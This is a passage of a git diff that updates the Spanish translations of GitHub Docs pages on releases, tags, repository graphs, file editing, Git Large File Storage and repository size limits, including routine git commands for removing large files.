-  ![Release title](/assets/images/help/releases/release-title.png)
+  ![Título del lanzamiento](/assets/images/help/releases/release-title.png)
 {% else %}
-  ![Release title](/assets/images/help/releases/release-title-old.png)
+  ![Título del lanzamiento](/assets/images/help/releases/release-title-old.png)
 {% endif %}
 1. Como alternativa, da clic derecho en **Lanzamiento más Reciente** y copia la URL para compartirlo. El sufijo de esta URL siempre es `/releases/latest`.
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
diff --git a/translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
index eff47a5b08..4209b8a5f4 100644
--- a/translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
+++ b/translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
@@ -35,8 +35,6 @@ You can choose whether {% data variables.large_files.product_name_long %} ({% da
 
 ## Creating a release
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -80,7 +78,7 @@ You can choose whether {% data variables.large_files.product_name_long %} ({% da
 
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
-   {% else %} 
+   {% else %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/releases-overview-with-contributors.png)
    {% endif %}
    {%- endif %}
@@ -110,8 +108,6 @@ If you @mention any {% data variables.product.product_name %} users in the notes
 
 ## Editing a release
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -136,8 +132,6 @@ Releases cannot currently be edited with {% data variables.product.prodname_cli
 
 ## Deleting a release
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/es-ES/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md b/translations/es-ES/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
index 393e6eb56c..56ff4c328b 100644
--- a/translations/es-ES/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
+++ b/translations/es-ES/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your repository's releases and tags
-intro: You can view the chronological history of your repository by release name or tag version number.
+title: Visualizar los lanzamientos y etiquetas de tu repositorio
+intro: 'Puedes ver el historial cronológico de tu repositorio por lanzamiento, nombre o número de versión de la etiqueta.'
 redirect_from:
   - /articles/working-with-tags
   - /articles/viewing-your-repositorys-tags
@@ -14,29 +14,29 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: View releases & tags
+shortTitle: Visualizar lanzamientos & etiquetas
 ---
+
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also view a release using the {% data variables.product.prodname_cli %}. For more information, see "[`gh release view`](https://cli.github.com/manual/gh_release_view)" in the {% data variables.product.prodname_cli %} documentation.
+**Tip**: También puedes ver un lanzamientos utilizando el {% data variables.product.prodname_cli %}. Para obtener más información, consulta la sección "[`gh release view`](https://cli.github.com/manual/gh_release_view)" en la documentación de {% data variables.product.prodname_cli %}.
 
 {% endtip %}
 {% endif %}
 
-## Viewing releases
+## Visualizar lanzamientos
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Releases**.
+2. En la parte superior de la página de lanzamientos, da clic en **Lanzamientos**.
 
-## Viewing tags
+## Visualizar etiquetas
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
+2. En la parte superior de la página de lanzamiento, haz clic en **Tags** (Etiqueta). ![Página de etiquetas](/assets/images/help/releases/tags-list.png)
 
-## Further reading
+## Leer más
 
-- "[Signing tags](/articles/signing-tags)"
+- "[Firmar etiquetas](/articles/signing-tags)"
diff --git a/translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md b/translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
index 2a5f059245..39f299b37b 100644
--- a/translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
+++ b/translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
@@ -1,6 +1,6 @@
 ---
-title: About repository graphs
-intro: Repository graphs help you view and analyze data for your repository.
+title: Acerca de los gráficos del repositorio
+intro: Los gráficos del repositorio te ayudan a ver y analizar datos para tu repositorio.
 redirect_from:
   - /articles/using-graphs
   - /articles/about-repository-graphs
@@ -14,18 +14,19 @@ versions:
 topics:
   - Repositories
 ---
-A repository's graphs give you information on {% ifversion fpt or ghec %} traffic, projects that depend on the repository,{% endif %} contributors and commits to the repository, and a repository's forks and network. If you maintain a repository, you can use this data to get a better understanding of who's using your repository and why they're using it.
+
+Los gráficos de un repositorio te dan información sobre el tráfico de {% ifversion fpt or ghec %}, los proyectos que dependen del repositorio, {% endif %} los colaboradores y las confirmaciones para el repositorio y la red y las bifurcaciones de un repositorio. Si tú mantienes un repositorio, puedes usar estos datos para comprender mejor quién está usando tu repositorio y por qué lo están usando.
 
 {% ifversion fpt or ghec %}
 
-Some repository graphs are available only in public repositories with {% data variables.product.prodname_free_user %}:
-- Pulse
-- Contributors
-- Traffic
-- Commits
-- Code frequency
-- Network
+Algunos gráficos del repositorio solo están disponibles en repositorios públicos con {% data variables.product.prodname_free_user %}:
+- Pulso
+- Colaboradores
+- Tráfico
+- Confirmaciones
+- Frecuencia de código
+- Red
 
-All other repository graphs are available in all repositories. Every repository graph is available in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+Todos los otros gráficos del repositorio están disponibles en todos los repositorios. Cada gráfico del repositorio está disponible en repositorios públicos y privados con {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} y {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
 
 {% endif %}
diff --git a/translations/es-ES/content/repositories/working-with-files/index.md b/translations/es-ES/content/repositories/working-with-files/index.md
index 1e874875f7..adb4f1c041 100644
--- a/translations/es-ES/content/repositories/working-with-files/index.md
+++ b/translations/es-ES/content/repositories/working-with-files/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with files
-intro: Learn how to manage and use files in repositories.
+title: Trabajar con los archivos
+intro: Aprende cómo adminstrar y utilizar los archivos en los repositorios.
 redirect_from:
   - /categories/81/articles
   - /categories/manipulating-files
@@ -17,6 +17,6 @@ children:
   - /managing-files
   - /using-files
   - /managing-large-files
-shortTitle: Work with files
+shortTitle: Trabajar con los archivos
 ---
 
diff --git a/translations/es-ES/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md b/translations/es-ES/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md
index c3dd56afaf..57d0ca8b7b 100644
--- a/translations/es-ES/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md
+++ b/translations/es-ES/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md
@@ -40,7 +40,7 @@ Los archivos que agregues a un repositorio mediante un navegador están limitado
 
 ## Agregar un archivo a un repositorio utilizando la línea de comando
 
-You can upload an existing file to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} using the command line.
+Puedes cargar un archivo existente a un repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} utilizando la línea de comandos.
 
 {% tip %}
 
diff --git a/translations/es-ES/content/repositories/working-with-files/managing-files/editing-files.md b/translations/es-ES/content/repositories/working-with-files/managing-files/editing-files.md
index b52562a21b..d71d536d53 100644
--- a/translations/es-ES/content/repositories/working-with-files/managing-files/editing-files.md
+++ b/translations/es-ES/content/repositories/working-with-files/managing-files/editing-files.md
@@ -1,6 +1,6 @@
 ---
-title: Editing files
-intro: 'You can edit files directly on {% data variables.product.product_name %} in any of your repositories using the file editor.'
+title: Editar archivos
+intro: 'Puedes editar archivos directamente en {% data variables.product.product_name %} en cualquiera de tus repositorios usando el editor de archivos.'
 redirect_from:
   - /articles/editing-files
   - /articles/editing-files-in-your-repository
@@ -16,47 +16,42 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Edit files
+shortTitle: Editar archivos
 ---
 
-## Editing files in your repository
+## Editar archivos en tu repositorio
 
 {% tip %}
 
-**Tip**: {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
+**Sugerencia**:{% data reusables.repositories.protected-branches-block-web-edits-uploads %}
 
 {% endtip %}
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %}'s file editor uses [CodeMirror](https://codemirror.net/).
+**Nota:** El editor de archivos de {% data variables.product.product_name %} usa [CodeMirror](https://codemirror.net/).
 
 {% endnote %}
 
-1. In your repository, browse to the file you want to edit.
+1. En tu repositorio, dirígete al archivo que deseas editar.
 {% data reusables.repositories.edit-file %}
-3. On the **Edit file** tab, make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+3. En la pestaña **Editar archivo**, realiza todos los cambios que sean necesarios. ![Nuevo contenido en el archivo](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Editing files in another user's repository
+## Editar archivos en el repositorio de otro usuario
 
-When you edit a file in another user's repository, we'll automatically [fork the repository](/articles/fork-a-repo) and [open a pull request](/articles/creating-a-pull-request) for you.
+Cuando editas un archivo en el repositorio de otro usuario, automáticamente [bifurcaremos el repositorio](/articles/fork-a-repo) y [abriremos una solicitud de cambios](/articles/creating-a-pull-request) para ti.
 
-1. In another user's repository, browse to the folder that contains the file you want to edit. Click the name of the file you want to edit.
-2. Above the file content, click {% octicon "pencil" aria-label="The edit icon" %}. At this point, GitHub forks the repository for you.
-3. Make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. En el repositorio de otro usuario, dirígete a la carpeta que contiene el archivo que deseas editar. Haz clic en el nombre del archivo que deseas editar.
+2. Sobre el contenido del archivo, haz clic en {% octicon "pencil" aria-label="The edit icon" %}. En este punto del proceso, GitHub bifurca el repositorio por ti.
+3. Realiza todos los cambios que necesites en el archivo. ![Nuevo contenido en el archivo](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
-6. Click **Propose file change**.
-![Commit Changes button](/assets/images/help/repository/propose_file_change_button.png)
-7. Type a title and description for your pull request.
-![Pull Request description page](/assets/images/help/pull_requests/pullrequest-description.png)
-8. Click **Create pull request**.
-![Pull Request button](/assets/images/help/pull_requests/pullrequest-send.png)
+6. Haz clic en **Proponer cambio en el archivo**. ![Botón Confirmar cambios](/assets/images/help/repository/propose_file_change_button.png)
+7. Escribe un título y una descripción para tu solicitud de extracción. ![Página de descripción de la solicitud de extracción](/assets/images/help/pull_requests/pullrequest-description.png)
+8. Haz clic en **Create Pull Request** (Crear solicitud de extracción). ![Botón Solicitud de extracción](/assets/images/help/pull_requests/pullrequest-send.png)
diff --git a/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md b/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
index 284c0fc933..84fec18e74 100644
--- a/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
+++ b/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: About Git Large File Storage
-intro: '{% data variables.product.product_name %} limits the size of files allowed in repositories. To track files beyond this limit, you can use {% data variables.large_files.product_name_long %}.'
+title: Acerca de Large File Storage de Git
+intro: '{% data variables.product.product_name %} limita el tamaño de los archivos permitidos en los repositorios. Para rastrear los archivos más allá de este límite, puedes utilizar {% data variables.large_files.product_name_long %}.'
 redirect_from:
   - /articles/about-large-file-storage
   - /articles/about-git-large-file-storage
@@ -11,32 +11,32 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Git Large File Storage
+shortTitle: Almacenamiento de archivos de gran tamaño Git
 ---
 
-## About {% data variables.large_files.product_name_long %}
+## Acerca de {% data variables.large_files.product_name_long %}
 
-{% data variables.large_files.product_name_short %} handles large files by storing references to the file in the repository, but not the actual file itself. To work around Git's architecture, {% data variables.large_files.product_name_short %} creates a pointer file which acts as a reference to the actual file (which is stored somewhere else). {% data variables.product.product_name %} manages this pointer file in your repository. When you clone the repository down, {% data variables.product.product_name %} uses the pointer file as a map to go and find the large file for you.
+{% data variables.large_files.product_name_short %} maneja archivos grandes almacenando referencias del archivo en el repositorio, pero no el archivo real. Para trabajar en la arquitectura de Git, {% data variables.large_files.product_name_short %} crea un archivo puntero que actúa como una referencia del archivo real (que se almacena en otro lugar). {% data variables.product.product_name %} administra este archivo puntero en tu repositorio. Cuando clonas el repositorio, {% data variables.product.product_name %} usa el archivo puntero como un mapa para ir y buscar el archivo grande por ti.
 
 {% ifversion fpt or ghec %}
-Using {% data variables.large_files.product_name_short %}, you can store files up to:
+Con {% data variables.large_files.product_name_short %} puedes subier archivos de hasta:
 
-| Product | Maximum file size |
-|------- | ------- |
-| {% data variables.product.prodname_free_user %} | 2 GB |
-| {% data variables.product.prodname_pro %} | 2 GB |
-| {% data variables.product.prodname_team %} | 4 GB |
+| Producto                                          | Tamaño máximo de archivo |
+| ------------------------------------------------- | ------------------------ |
+| {% data variables.product.prodname_free_user %} | 2 GB                     |
+| {% data variables.product.prodname_pro %}         | 2 GB                     |
+| {% data variables.product.prodname_team %}        | 4 GB                     |
 | {% data variables.product.prodname_ghe_cloud %} | 5 GB |{% else %}
-Using {% data variables.large_files.product_name_short %}, you can store files up to 5 GB in your repository.
-{% endif %}  
+ Si utilizas {% data variables.large_files.product_name_short %}, puedes almacenar archivos de hasta 5 GB en tu repositorio.
+{% endif %}
 
-You can also use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}. For more information about cloning Git LFS repositories in {% data variables.product.prodname_desktop %}, see "[Cloning a repository from GitHub to GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+Tambié puedes usar {% data variables.large_files.product_name_short %} con {% data variables.product.prodname_desktop %}. Para obtener más información acerca de cómo clonar repositorios LFS de Git en {% data variables.product.prodname_desktop %}, consulta "[Cómo clonar un repositorio desde GitHub hasta GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)".
 
 {% data reusables.large_files.can-include-lfs-objects-archives %}
 
-## Pointer file format
+## Formato de archivo puntero
 
-{% data variables.large_files.product_name_short %}'s pointer file looks like this:
+El archivo puntero de {% data variables.large_files.product_name_short %} se ve así:
 
 ```
 version {% data variables.large_files.version_name %}
@@ -44,16 +44,16 @@ oid sha256:4cac19622fc3ada9c0fdeadb33f88f367b541f38b89102a3f1261ac81fd5bcb5
 size 84977953
 ```
 
-It tracks the `version` of {% data variables.large_files.product_name_short %} you're using, followed by a unique identifier for the file (`oid`). It also stores the `size` of the final file.
+Hace un seguimiento de la `version` de {% data variables.large_files.product_name_short %} que estás usando, seguido de un identificador único para el archivo (`oid`). También almacena el `size` del archivo final.
 
 {% note %}
 
-**Notes**:
-- {% data variables.large_files.product_name_short %} cannot be used with {% data variables.product.prodname_pages %} sites.
-- {% data variables.large_files.product_name_short %} cannot be used with template repositories.
-  
+**Notas**:
+- {% data variables.large_files.product_name_short %} no puede utilizarse con los sitios de {% data variables.product.prodname_pages %}.
+- {% data variables.large_files.product_name_short %} no se puede utilizar con repositorios de plantilla.
+
 {% endnote %}
 
-## Further reading
+## Leer más
 
-- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage)"
+- "[Colaborar con {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage)"
diff --git a/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
index 575108e57e..3c40d535e6 100644
--- a/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
+++ b/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About large files on GitHub
-intro: '{% data variables.product.product_name %} limits the size of files you can track in regular Git repositories. Learn how to track or remove files that are beyond the limit.'
+title: Acerca de los archivos grandes en GitHub
+intro: '{% data variables.product.product_name %} limita el tamaño de los archivos que puedes rastrear en los repositorios regulares de Git. Aprende cómo rastrear o eliminar archivos que sobrepasan el límite.'
 redirect_from:
   - /articles/distributing-large-binaries
   - /github/managing-large-files/distributing-large-binaries
@@ -21,86 +21,86 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Large files
+shortTitle: Archivos grandes
 ---
 
-## About size limits on {% data variables.product.product_name %}
+## Acerca de los límites de tamaño en {% data variables.product.product_name %}
 
 {% ifversion fpt or ghec %}
-{% data variables.product.product_name %} tries to provide abundant storage for all Git repositories, although there are hard limits for file and repository sizes. To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure.
+{% data variables.product.product_name %} intenta proporcionar almacenamiento abundante para todos los repositorios de Git, aunque existen límites físicos para los tamaños de los archivos y repositorios. Para garantizar el rendimiento y la legibilidad para nuestros usuarios, monitoreamos activamente las señales de la salud general de los repositorios. La salud de los repositorios es una función de varios factores de interacción, incluyendo el tamaño, frecuencia de confirmaciones y estructura.
 
-### File size limits
+### Límites de tamaño de archivos
 {% endif %}
 
-{% data variables.product.product_name %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see "[Removing files from a repository's history](#removing-files-from-a-repositorys-history)."
+{% data variables.product.product_name %} limita el tamaño de los archivos permitidos en los repositorios. Recibirás una advertencia de Git si intentas añadir o actualizar un archivo mayor a {% data variables.large_files.warning_size %}. Los cambios aún se subirán a tu repositorio, pero puedes considerar eliminar la confirmación para minimizar el impacto en el rendimiento. Para obtener información, consulta [Eliminar archivos del historial de un repositorio](#removing-files-from-a-repositorys-history)"
 
 {% note %}
 
-**Note:** If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
+**Nota:** si agregas un archivo a un repositorio por medio de un navegador, el archivo no puede ser mayor de {% data variables.large_files.max_github_browser_size %}. Para obtener más información, consulta la sección "[Agregar un archivo a un repositorio](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
 
 {% endnote %}
 
-{% ifversion ghes %}By default, {% endif %}{% data variables.product.product_name %} blocks pushes that exceed {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.product.product_location %}.  For more information, see "[Setting Git push limits](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)."{% endif %}
+{% ifversion ghes %}Predeterminadamente, {% endif %}{% data variables.product.product_name %} bloquea las subidas que excedan {% data variables.large_files.max_github_size %}. {% ifversion ghes %}Sin embargo, un administrador de sitio puede configurar un límite diferente para {% data variables.product.product_location %}.  Para obtener más información, consulta la sección "[Configurar los límites de subida de Git](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)".{% endif %}
 
-To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[About {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)."
+Para rastrear archivos que sobrepasen este límite, debes utilizar {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). Para obtener más información, consulta la sección "[Acerca de {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)".
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %} instead of tracking the files. For more information, see "[Distributing large binaries](#distributing-large-binaries)."
+Si necesitas distribuir archivos grandes dentro de tu repositorio, puedes crear lanzamientos en {% data variables.product.product_location %} en vez de rastrear los archivos. Para obtener más información, consulta la sección "[Distribuir archivos binarios grandes](#distributing-large-binaries)".
 
-Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using [Dropbox](https://www.dropbox.com/).
+Git no se diseñó para manejar archivos grandes de SQL. Para compartir bases de datos grandes con otros desarrolladores, te recomendamos utilizar [Dropbox](https://www.dropbox.com/).
 
 {% ifversion fpt or ghec %}
-### Repository size limits
+### Límites de tamaño de repositorio
 
-We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository.
+Te recomendamos que los repositorios sean siempre pequeños, idealmente, de menos de 1 GB, y se recomienda ampliamente que sean de menos de 5GB. Los repositorios más pequeños se clonan más rápido y se puede mantenerlos mejor y trabajar en ellos más fácilmente. Si tu repositorio impacta excesivamente nuestra infraestructura, puede que recibas un mensaje de correo electrónico de {% data variables.contact.github_support %}, el cual te solicitará que tomes acciones correctivas. Intentamos ser flexibles, especialmente con proyectos grandes que tienen muchos colaboradores, y trabajaremos junto contigo para encontrar una resolución cada que sea posible. Puedes prevenir que tu repositorio impacte nuestra infraestructura si administras el tamaño de tu repositorio y su salud general con eficacia. Puedes encontrar consejos y una herramienta para análisis de repositorios en el repositorio [`github/git-sizer`](https://github.com/github/git-sizer).
 
-External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](http://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources.
+Las dependencias externas pueden causar que los repositorios de Git se hagan muy grandes. Para evitar llenar un repositorio con dependencias externas, te recomendamos utilizar un administrador de paquetes. Los administradores de paquetes populares para lenguajes (de programación) comunes incluyen a [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), y [Maven](http://maven.apache.org/). Estos administradores de paquetes soportan la utilización directa de repositorios de Git para que no dependas de fuentes pre-empacadas.
 
-Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/).
+Git no está diseñado para fungir como una herramienta de respaldo. Sin embargo, existen muchas soluciones diseñadas específicamente para realizar respaldos, tales como [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), y [CrashPlan](https://www.crashplan.com/en-us/).
 {% endif %}
 
-## Removing files from a repository's history
+## Eliminar archivos del historial de un repositorio
 
 {% warning %}
 
-**Warning**: These procedures will permanently remove files from the repository on your computer and {% data variables.product.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository.
+**Advertencia**: Estos procedimientos eliminarán archivos de manera permanente del repositorio de tu computadora y de {% data variables.product.product_location %}. Si el archivo es importante, haz una copia de seguridad local en un directorio por fuera del repositorio.
 
 {% endwarning %}
 
-### Removing a file added in the most recent unpushed commit
+### Eliminar un archivo agregado en la confirmación más reciente no subida
 
-If the file was added with your most recent commit, and you have not pushed to {% data variables.product.product_location %}, you can delete the file and amend the commit:
+Si el archivo se agregó con tu confirmación más reciente, y no lo subiste a {% data variables.product.product_location %}, puedes eliminar el archivo y modificar la confirmación:
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.switching_directories_procedural %}
-3. To remove the file, enter `git rm --cached`:
+3. Para eliminar el archivo, ingresa a `git rm --cached`:
   ```shell
   $ git rm --cached <em>giant_file</em>
   # Stage our giant file for removal, but leave it on disk
   ```
-4. Commit this change using `--amend -CHEAD`:
+4. Confirma este cambio usando `--amend -CHEAD`:
   ```shell
   $ git commit --amend -CHEAD
   # Amend the previous commit with your change
   # Simply making a new commit won't work, as you need
   # to remove the file from the unpushed history as well
   ```
-5. Push your commits to {% data variables.product.product_location %}:
+5. Sube tus confirmaciones a {% data variables.product.product_location %}:
   ```shell
   $ git push
   # Push our rewritten, smaller commit
   ```
 
-### Removing a file that was added in an earlier commit
+### Eliminar un archivo que se añadió en una confirmación de cambios previa
 
-If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, you can use the BFG Repo-Cleaner or the `git filter-branch` command. For more information see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)."
+Si añadiste un archivo en una confirmación previa, necesitas eliminarlo del historial del repositorio. Para eliminar archivos de la historia del repositorio, puedes utilizar BFG Repo-Cleaner o el comando `git filter-branch`. Para obtener más información, consulta la sección "[Eliminar datos sensibles de un repositorio](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)".
 
-## Distributing large binaries
+## Distribuir binarios grandes
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit "[About releases](/github/administering-a-repository/about-releases)."
+Si necesitas distribuir archivos grandes dentro de tu repositorio, puedes crear lanzamientos en {% data variables.product.product_location %}. Los lanzamientos te permiten empaquetar el software, notas de lanzamiento y enlaces a los archivos binarios para que otras personas puedan utilizarlos. Para obtener más información, consulta la sección "[Acerca de los lanzamientos](/github/administering-a-repository/about-releases)".
 
 {% ifversion fpt or ghec %}
 
-We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}.
+No limitamos el tamaño total de los archivos binarios en los lanzamientos o anchos de banda que se utilizan para entregarlos. Sin embargo, cada archivo individual debe ser menor a {% data variables.large_files.max_lfs_size %}.
 
 {% endif %}
 
diff --git a/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md b/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
index d8b8b08de9..6ac29694f1 100644
--- a/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
+++ b/translations/es-ES/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
@@ -1,5 +1,5 @@
 ---
-title: About storage and bandwidth usage
+title: Acerca del uso de ancho de banda y del almacenamiento
 intro: '{% data reusables.large_files.free-storage-bandwidth-amount %}'
 redirect_from:
   - /articles/billing-plans-for-large-file-storage
@@ -10,21 +10,22 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Storage & bandwidth
+shortTitle: Almacenamiento & ancho de banda
 ---
-{% data variables.large_files.product_name_short %} is available for every repository on {% data variables.product.product_name %}, whether or not your account or organization has a paid subscription.
 
-## Tracking storage and bandwidth use
+{% data variables.large_files.product_name_short %} está disponible para cada repositorio en {% data variables.product.product_name %}, ya sea que tu cuenta u organización tenga o no una suscripción paga.
 
-When you commit and push a change to a file tracked with {% data variables.large_files.product_name_short %}, a new version of the entire file is pushed and the total file size is counted against the repository owner's storage limit. When you download a file tracked with {% data variables.large_files.product_name_short %}, the total file size is counted against the repository owner's bandwidth limit. {% data variables.large_files.product_name_short %} uploads do not count against the bandwidth limit.
+## Hacer un seguimiento del uso de ancho de banda y del almacenamiento
 
-For example:
-- If you push a 500 MB file to {% data variables.large_files.product_name_short %}, you'll use 500 MB of your allotted storage and none of your bandwidth. If you make a 1 byte change and push the file again, you'll use another 500 MB of storage and no bandwidth, bringing your total usage for these two pushes to 1 GB of storage and zero bandwidth.
-- If you download a 500 MB file that's tracked with LFS, you'll use 500 MB of the repository owner's allotted bandwidth. If a collaborator pushes a change to the file and you pull the new version to your local repository, you'll use another 500 MB of bandwidth, bringing the total usage for these two downloads to 1 GB of bandwidth.
-- If {% data variables.product.prodname_actions %} downloads a 500 MB file that is tracked with LFS, it will use 500 MB of the repository owner's allotted bandwidth.
+Cuando confirmas y subes un cambio a un archivo seguido con {% data variables.large_files.product_name_short %}, se sube una nueva versión del archivo completo y el tamaño total del archivo cuenta para el límite de almacenamiento del propietario del repositorio. Cuando descargas un archivo seguido con {% data variables.large_files.product_name_short %}, el tamaño total del archivo cuenta para el límite de ancho de banda del propietario del repositorio. Las cargas de {% data variables.large_files.product_name_short %} no cuentan para el lpimite de ancho de banda.
+
+Por ejemplo:
+- Si subes un archivo de 500 MB a {% data variables.large_files.product_name_short %}, usarás 500 MB de tu almacenamiento asignado y nada de tu ancho de banda. Si realizas un cambio de 1 byte y subes el archivo de nuevo, usarás otros 500 MB de almacenamiento y no de ancho de banda, llevando tu uso total por esas dos subidas a 1 GB de almacenamiento y cero ancho de banda.
+- Si descargas un archivo de 500 MB que es seguido con LFS, usarás 500 MB del ancho de banda asignado del propietario del repositorio. Si un colaborador sube un cambio al archivo y extraes la versión nueva a tu repositorio local, usarás otros 500 MB de ancho de banda, llevando el uso total por esas dos descargas a 1 GB de ancho de banda.
